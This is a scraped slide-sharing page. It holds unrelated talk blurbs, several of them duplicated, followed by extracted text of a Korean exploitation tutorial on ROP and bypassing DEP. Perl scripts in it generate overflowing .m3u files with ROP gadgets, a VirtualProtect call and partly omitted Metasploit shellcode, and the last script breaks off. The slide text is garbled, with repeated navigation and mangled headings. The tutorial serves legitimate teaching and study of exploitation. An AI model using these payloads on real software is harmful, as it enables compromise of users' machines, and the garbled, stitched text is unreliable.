Solve a recursive algorithm problem in Dovelet which is a site that provide algorithm problems.
This content is written by korean. Because i used it to teach my club friends.
In my blog, i provide a GIF file to show the process of recursive algorithm.
http://blog.naver.com/jinoh9272/220697724713
I wish my content would help you!
[2013 CodeEngn Conference 09] wh1ant - various tricks for linux remote exploitsGangSeok Lee
2013 CodeEngn Conference 09
시간이 지나면 지날수록 리눅스에서는 보안 기술에 의해 원격 공격이 힘들어지고 있다. 원격 버퍼 오버플로우 공격을 위한 몇가지 트릭을 공개할 것이다. 지금까지 공격은 주로 취약점 코드에 의존성이 높거나 brute force를 사용한 방식이였다. 이번 발표에서의 공격 기술은 NULL 을 우회하여 exploit을 1바이트씩 분할하고 취약한 서버에 파일을 생성한뒤 공격하며, 단순 brute force방식에 벗어나 ASLR를 어떻게 빨리 찾아내는지 보여줄 것이다.
http://codeengn.com/conference/09
http://codeengn.com/conference/archive
[2011 CodeEngn Conference 05] ashine - 안드로이드 리눅스에서의 시스템 해킹GangSeok Lee
2011 CodeEngn Conference 05
안드로이드 리눅스 상에서 bof 공격을 해본다. 임의로 제작한 취약한 어플리케이션을 대상으로 공격코드를 작성하여 쉘을 획득하는 과정을 보여주며설명한다. x86 환경에서와 ARM 환경에서의 공격코드 작성시 차이점에 대해 설명한다.
http://codeengn.com/conference/05
전체목차: https://netpple.github.io/docs/make-container-without-docker/
pid namespace는 컨테이너 안에서 독자적인 "process tree" / "process id 체계"를 제공합니다. 어떻게 가능한 것일까요? 이를 이해하기 위하여 proc filesystem과 pid 쳬계에 대해서 얘기합니다. 그리고 프로세스 트리의 최상위인 특별한 프로세스 pid1 에 대하여도 다룹니다
2010 CodeEngn Conference 04
2010년 5월 22~24일, 세계 최대의 해커들의 축제인 DEFCON 18의 CTF 예선이 열렸습니다. Kaist 보안동아리 GoN 팀으로 참여하면서 느낀 이번 DEFCON CTF 예선에 대한 전반적인 리뷰와 함께, 여러 문제 분야들 중 Binary l33tness, Pwtent pwnables 분야의 문제들의 풀이를 해보고자 한다. (Defcon 18 CTF 예선전 전체 529팀에서 6위로 본선진출)
http://codeengn.com/conference/04
컨테이너를 이용할 때 어려운 것 중에 하나가 네트웍 문제입니다 .
가상 네트웍 환경에서 컨테이너 간의 통신이 어떻게 이루어지는지를 잘 이해하고 있다면 개발과 운영하는데 많은 도움이 됩니다
컨테이너 네트웍을 이해하기 위해서 나름 공을 많이 들였는데요
여전히 부족함을 많이 느끼고 있습니다 혼자 할 수 없는 것들이라는 생각이 들구요 공유해 주시는 내용들에서 배우고 인사이트도 얻고 있습니다
컨테이너 공부를 시작하는 분들.. 그리고 이미 업무로 하고 계신 분들에게도
도움이 될 것 같습니다
즐공 하세요
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석GangSeok Lee
2014 CodeEngn Conference 11
DTrace를 보안 관점에서 활용해보자!
DTrace 프레임워크는 솔라리스 기반으로 개발된 동적 추적 프레임워크로 현재 Solaris, Mac OS X, BSD 등에 적용되고 있다. 프레임워크는 운영체제 개발 시점에 커널에 통합된 프레임워크로 사용자 및 커널 레벨의 다양한 정보(메모리나 CPU, 파일시스템, 네트워크 자원의 모니터링이나 특정 함수의 인자 추적 등)를 동적으로 분석할 수 있게 하여 애플리케이션 테스팅에 주로 활용되고 있다. 이러한 장점을 활용하여 최근에는 보안 관점에서 프레임워크를 사용하는 경우가 늘어나고 있다. 퍼징 모니터링이나, 바이너리 동적 분석과 같은 취약점 분석, 악성코드 동적 분석, 루트킷 개발이 한 예이다. 본 발표에서는 DTrace가 무엇인지 살펴보고, 윈도우의 filemon의 기능을 구현해보도록 한다. 이 발표를 통해 분석가에게 생소할 수 있는 Mac OS X의 바이너리 분석에 도움이 될 것이라 생각한다.
http://codeengn.com/conference/11
http://codeengn.com/conference/archive
Arduino: Open Source Hardware Hacking from the Software Nerd PerspectiveHoward Lewis Ship
This document discusses Arduino open source hardware from the perspective of a software developer. It provides an overview of Arduino boards and their specifications. It then demonstrates some basic Arduino projects like blinking an LED and reading input from a button or potentiometer. It also covers scaling up projects using shift registers and discusses next steps of using more sensors and displays. The goal is to show how easy it is for software developers to get started with Arduino and physical computing.
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...sanghwan ahn
The document discusses system hacking and reverse engineering techniques. It provides an introduction to vulnerabilities and types of vulnerabilities. The document outlines two tracks - the first introduces bugs, crashes, vulnerabilities, exploitation and defense mechanisms. The second track discusses different types of vulnerabilities like buffer overflows, format string bugs, and use-after-free vulnerabilities. It explains the principles and exploitation of stack and heap overflows.
2010 CodeEngn Conference 04
2010년 5월 22~24일, 세계 최대의 해커들의 축제인 DEFCON 18의 CTF 예선이 열렸습니다. Kaist 보안동아리 GoN 팀으로 참여하면서 느낀 이번 DEFCON CTF 예선에 대한 전반적인 리뷰와 함께, 여러 문제 분야들 중 Binary l33tness, Pwtent pwnables 분야의 문제들의 풀이를 해보고자 한다. (Defcon 18 CTF 예선전 전체 529팀에서 6위로 본선진출)
http://codeengn.com/conference/04
컨테이너를 이용할 때 어려운 것 중에 하나가 네트웍 문제입니다 .
가상 네트웍 환경에서 컨테이너 간의 통신이 어떻게 이루어지는지를 잘 이해하고 있다면 개발과 운영하는데 많은 도움이 됩니다
컨테이너 네트웍을 이해하기 위해서 나름 공을 많이 들였는데요
여전히 부족함을 많이 느끼고 있습니다 혼자 할 수 없는 것들이라는 생각이 들구요 공유해 주시는 내용들에서 배우고 인사이트도 얻고 있습니다
컨테이너 공부를 시작하는 분들.. 그리고 이미 업무로 하고 계신 분들에게도
도움이 될 것 같습니다
즐공 하세요
[2014 CodeEngn Conference 11] 이경식 - 동적 추적 프레임워크를 이용한 OS X 바이너리 분석GangSeok Lee
2014 CodeEngn Conference 11
DTrace를 보안 관점에서 활용해보자!
DTrace 프레임워크는 솔라리스 기반으로 개발된 동적 추적 프레임워크로 현재 Solaris, Mac OS X, BSD 등에 적용되고 있다. 프레임워크는 운영체제 개발 시점에 커널에 통합된 프레임워크로 사용자 및 커널 레벨의 다양한 정보(메모리나 CPU, 파일시스템, 네트워크 자원의 모니터링이나 특정 함수의 인자 추적 등)를 동적으로 분석할 수 있게 하여 애플리케이션 테스팅에 주로 활용되고 있다. 이러한 장점을 활용하여 최근에는 보안 관점에서 프레임워크를 사용하는 경우가 늘어나고 있다. 퍼징 모니터링이나, 바이너리 동적 분석과 같은 취약점 분석, 악성코드 동적 분석, 루트킷 개발이 한 예이다. 본 발표에서는 DTrace가 무엇인지 살펴보고, 윈도우의 filemon의 기능을 구현해보도록 한다. 이 발표를 통해 분석가에게 생소할 수 있는 Mac OS X의 바이너리 분석에 도움이 될 것이라 생각한다.
http://codeengn.com/conference/11
http://codeengn.com/conference/archive
Arduino: Open Source Hardware Hacking from the Software Nerd PerspectiveHoward Lewis Ship
This document discusses Arduino open source hardware from the perspective of a software developer. It provides an overview of Arduino boards and their specifications. It then demonstrates some basic Arduino projects like blinking an LED and reading input from a button or potentiometer. It also covers scaling up projects using shift registers and discusses next steps of using more sensors and displays. The goal is to show how easy it is for software developers to get started with Arduino and physical computing.
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...sanghwan ahn
The document discusses system hacking and reverse engineering techniques. It provides an introduction to vulnerabilities and types of vulnerabilities. The document outlines two tracks - the first introduces bugs, crashes, vulnerabilities, exploitation and defense mechanisms. The second track discusses different types of vulnerabilities like buffer overflows, format string bugs, and use-after-free vulnerabilities. It explains the principles and exploitation of stack and heap overflows.
[CB16] COFI break – Breaking exploits with Processor trace and Practical cont...CODE BLUE
One of the most prevalent methods used by attackers to exploit vulnerabilities is ROP - Return Oriented Programming. Many times during the exploitation process, code will run very differently than it does usually - calls will be made to the middle of functions, functions won’t return to their callers, etc. These anomalies in control flow could be detected if a log of all instructions executed by the processor were available.
In the past, tracing the execution of a processor incurred a significant slowdown, rendering such an anti-exploitation method impractical. However, recent Intel processors, such as Broadwell and Skylake, are now able to trace execution with low overhead, via a feature called Processor Trace. A similar feature called CoreSight exists on new ARM processors.
The lecture will discuss an anti-exploitation system we built which scans files and detects control flow violations by using these new processor features.
--- Ron Shina
Ron has been staring at binary code for over the past decade, occasionally running it. Having spent a lot of his time doing mathematics, he enjoys searching for algorithmic opportunities in security research and reverse engineering. He is a graduate of the Israel Defense Forces’ Talpiot program. In his spare time he works on his jump shot.
--- Shlomi Oberman
Shlomi Oberman is an independent security researcher with over a decade of experience in security research. Shlomi spent many years in the attacker’s shoes for different companies and knows too well how hard it is to stop a determined attacker. In the past years his interest has shifted from breaking things to helping stop exploits – while software is written and after it has shipped. Shlomi is a veteran of the IDF Intelligence Corps and used to head the security research efforts at NSO Group and other companies.
Lyon Yang gave a presentation about exploiting IoT and embedded devices. He discussed how he became interested in embedded systems exploitation and contributed to the field. Yang explained common vulnerabilities he finds, such as stack overflows, backdoors, and exposed credentials. He demonstrated attacks like privilege escalation, command injection, and exploiting cache coherency issues. Yang provided tips for writing exploits against various architectures and overcoming challenges like bad characters and auto-restarting services.
Course lecture - An introduction to the Return Oriented ProgrammingJonathan Salwan
This document provides an introduction and overview of Return Oriented Programming (ROP). It discusses classical stack overflow attacks and the mitigations put in place like Address Space Layout Randomization (ASLR) and No eXecute (NX) bit. It then introduces ROP as a technique to bypass these mitigations by chaining small snippets of existing code, called gadgets, to perform malicious tasks without injecting code. Several tools for finding gadgets are presented, and an example exploitation of the CVE-2011-1938 vulnerability is discussed to demonstrate ROP in practice. The document concludes with discussing mitigations against ROP and some related research topics.
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
This is a light training/presentation talk.
My name is Lyon Yang and I am an IoT hacker. I live in sunny Singapore where IoT is rapidly being deployed – in production. This walkthrough will aim to shed light on the subject of IoT, from finding vulnerabilities in IoT devices to getting shiny hash prompts.
Our journey starts with a holistic view of IoT security, the issues faced by IoT devices and the common mistakes made by IoT developers. Things will then get technical as we progress into a both ARM and MIPS exploitation, followed by a ‘hack-along-with-us’ workshop where you will be exploiting a commonly found IoT daemon. If you are new to IoT or a seasoned professional you will likely learn something new in this workshop.
https://www.iotvillage.org/#schedule
This document provides an overview of exploiting insecure IoT firmware. It begins with an introduction to IoT protocols like CoAP, MQTT, XMPP, and AMQP. It then discusses the OWASP top 10 security risks for IoT, focusing on insecure software/firmware. Common debugging interfaces for firmware like UART, JTAG, SPI, and I2C are explained. Operating systems and compilers used for IoT development are listed. Finally, the document outlines a methodology for exploiting insecure firmware, including getting the firmware, performing reconnaissance, unpacking, localizing points of interest, and then decompiling, compiling, tweaking, fuzzing, or pentesting the firmware. Tools mentioned include binwalk, firmwalk
2. Who am I
Sanghwan,Ahn (h2spice)
Works for LINE.Corp
Carrying out research on the vulnerability (exploitation,hunt,analysis)
3. 시스템 해킹 / 리버싱
Buffer Overflow
취약점 원리
Stack Overflow
Heap Overflow
Format String Bug
Heap Overflow
Use After Free
Overwriting RET
Overwriting SEH
익스플로잇(Win32/*NIX/ARM)
Egg Hunting
RTL
ROP
Heap Spraying
커리큘럼 소개
취약점 / 악성코드 분석
악성코드 분석
Software on X86
버그 헌팅
X86 ARM
Mobile
취약점 분석
소스코드 분석
퍼징
CVE-XXXX-XXXX
Exploit-DB
Inj3ct0r - 1337day
리버스 엔지니어링
iOS
Android
Overwriting .dtors
Overwriting GOT
4. 목차
커리큘럼 소개
Track3 - Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROP
Heap Spray
Track3-2 *NIX
Overwrite RET
RTL
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
RTL
ROP
6. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tRede turn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
7. Track3. Exploitation ROP(Return Oriented Programming)
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
8. ROP(Return Oriented Programming)
리턴 지향 프로그램이 (ROP)는 공격자가 현재 수행 중인 프로그램 코
드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계어
명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜 스
택의 제어를 통제하는 기술
Memory Defense Mechanism 우회 가능
무작위성 주소공간 배치 난수화 (ASLR: Address Space Layout Randomization)
데이터 실행 방지 ( DEP : Data Execution Prevention) or W^X (Write xor eXecute)
Ret-to-LibC 기법에 대한 이해 필요
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
9. ROP Gadget Chain
Gadget Chain 구성 기준
전체 함수를 사용하는 대신에 명령어의 연속된 작은 덩어리들을 이용.
명령어 조각은 2개에서 5개 정도의 크기.
모든 명령어 조각은 ret 명령으로 끝나야 함.
명령어 조각들은 ‘gadget’ 으로 서로 연결되어 명령어 덩어리를 형성
gadget은 의도된 특정 행동을 수행 (load, store, xor or branch)
공격자는 여러개의 gadget을 조합해 공격의 정교함을 더할 수 있음
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
10. Principle of ROP
1 2 3 4
ins1
ins2
ins3
ret
ins1
ins2
ret
ins1
ins2
pop
ret
ins1
ret
Gadget1 (Load)
5 6
ins1
ins2
ins3
ret
ins1
ins2
ret
Gadget2 (Add)
Load 명령을 수행하기 위한 기계어 8개가 있고, 필요한 인자가 하나 있다고 가정한다면, Load 기능을 수행
하기 위한 가젯은 왼쪽 Gadget1 과 같이 구성되어야 한다.
(물론 각각의 기계어들을 현재 수행되고 있는, 공격자가 접근 가능한 프로그램 내부에 존재하는 기계어 조각들 중에서 추출되어야 한다.)
추출 과정을 통해 구성된 가젯들을 수행하게 되면 별도의 코드 삽입이나, 내장 함수를 이용하지 않아도 공격
자가 원하는 행동들을 수행할 수 있다.
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
11. Principle of ROP
1 2 3 4
ins1
ins2
ins3
ret
ins1
ins2
ret
ins1
ins2
pop
ret
ins1
ret
Gadget1 (Load)
5 6
ins1
ins2
ins3
ret
ins1
ins2
ret
Gadget2 (Add)
return address 6
return address 5
return address 4
argument
return address 3
return address 2
return address 1
Pattern 2
Pattern 1
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
12. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice1. Understanding of gadget (1)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
Gadget A
13. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice1. Understanding of gadget (1)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
What’s the value of EAX ?
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
Gadget A
14. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice1. Understanding of gadget (1)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
Gadget A
EAX is 8
15. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice2. Understanding of gadget (2)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
POP EDI
POP EDI
POP EDI
ret
4 5 6
Gadget B
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
16. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice2. Understanding of gadget (2)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
POP EDI
POP EDI
POP EDI
ret
Wha4t’s the va5 lue of E6AX ?
Gadget B
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
17. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice2. Understanding of gadget (2)
1 2 3
MOV EAX, 0
INC EAX
INC EAX
ret
POP EDI
POP EDI
POP EDI
ret
4 5 6
Gadget B
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
INC EAX
INC EAX
INC EAX
ret
EAX is 5
18. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice3. Gadget for calling function
1 2 3
strcpy(dest,src)
4
8
Fill in the blanks
with appropriate gadget.
11 12
Gadget C
POP
POP
ret
dest
src
5 6 7
strcpy(dest,src) POP
?
POP
ret
dest
src
strcpy(dest,src) POP
POP
ret
dest
9 10
src
?
?
19. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice3. Gadget for calling function
1 2 3
strcpy(dest,src)
4
8
9 10 11 12
Gadget C
POP
POP
ret
dest
src
5 6 7
strcpy(dest,src) POP
POP
ret
dest
src
strcpy(dest,src) POP
POP
ret
dest src
20. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice4. Gadget for modification registry
make EAX to 0x41414141
,EBP to DEADBEEF
21. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Practice4. Gadget for modification registry
my $file= "rop1.m3u";
my $buffersize = 26022;
my $junk = "A" x $buffersize;
my $eip=pack('V',0x100102DC); #pointer to RET
my $junk2 = "AAAA"; #compensate, to make sure ESP points at first rop gadget
my $rop = pack('V',0x10026D56); #POP EAX + RET (gadget 1)
$rop = $rop . pack('V',0x414140C1); #this will be popped into EAX
$rop = $rop . pack('V',0x1002DC24); #ADD EAX,80 + POP EBX + RET (gadget 2)
$rop = $rop . pack('V',0xDEADBEEF); #this will be popped into EBX
my $rest = "C" x 1000;
my $payload = $junk.$eip.$junk2.$rop.$rest;
print "Payload size : ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
22. Bypassing DEP by using ROP
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows
2003 SP1
Windows
2008
VirtualAlloc Yes Yes Yes Yes Yes Yes Yes
HeapCreate Yes Yes Yes Yes Yes Yes Yes
SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes
NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2)
VirtualProtect Yes Yes Yes Yes Yes Yes Yes
WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes
(1) = doesn’t exist
(2) = will fail because of default DEP Policy settings
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Select Weapon for bypassing DEP
23. Bypassing DEP by using ROP
Select Weapon for bypassing DEP
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows
2003 SP1
Windows
2008
VirtualAlloc Yes Yes Yes Yes Yes Yes Yes
HeapCreate Yes Yes Yes Yes Yes Yes Yes
SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes
NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2)
VirtualProtect Yes Yes Yes Yes Yes Yes Yes
WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes
(1) = doesn’t exist
(2) = will fail because of default DEP Policy settings
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
24. Track3. Exploitation Bypassing DEP by using ROP
VirtualProtect function info
lpAddress : 권한을 변경하고자하는 메모리 영역의 주소
dwSize : 변경할 메모리 크기
flNewProtect : 변경할 플래그 (RWX등)
lpflOldProtect : 현재 플래그를 저장할 주소
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
PAGE_EXECUTE 0X10 / PAGE_EXECUTE_READ 0X20 /PAGE_EXECUTE_READWRITE 0X40 / PAGE_EXECUTE_WRITECOPY 0X80
PAGE_NOACCESS 0X01 / PAGE_READONLY 0X02 / PAGE_READWRITE X04 / PAGE_WRITECOPY 0X08
25. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
by hand
my $file= "rop2.m3u";
my $buffersize = 26022;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect
my $params= "VVVV";
$params = $params."WWWW";
$params = $params."XXXX";
$params = $params."YYYY";
$params = $params."ZZZZ";
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" .
…omit…
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05";
my $nops = "x90" x 200;
my $rest = "C" x 300;
my $payload = $junk.$eip.$params.$nops.$shellcode.$rest;
print "Payload size : ".length($payload)."n";
print "Shellcode size : ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
26. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
RET
EBP
Buffer[26020]
27. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
RET
EBP
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Buffer[Z 26020]
Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
28. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
VirtuaRlEPTro t ect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
29. Padding -> VVVV
RET
Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
30. Track3. Exploitation
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
Bypassing DEP by using ROP
lpflOldProtect
flNewProtect
dwSize
lpAddress
return address
Padding
RET
VirtualProtect( )
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
Z Z Z Z
31. Track3. Exploitation Bypassing DEP by using ROP
Introduction
Track3-1 Win32
Overwrite RET
Overwrite SEH
Egg-Hunting
ROOriePn( tReedt urn Programming)
Heap Spray
Track3-2 *NIX
Overwrite RET
Ret-to-LibC
Overwrite .dtors
Overwrite GOT
Track3-3 ARM
Overwrite RET
Ret-to-LibC
ROOriePn t(Rede turn Programming)
by hand
my $file= "rop2.m3u";
my $buffersize = 26022;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect
my $junk2 = "AAAA"; #compensates
my $params=pack('V',0x01010101); #return address
$params = $params."XXXX"; #lpAddress
$params = $params."YYYY"; #Size - Shellcode length
$params = $params."ZZZZ"; #flNewProtect
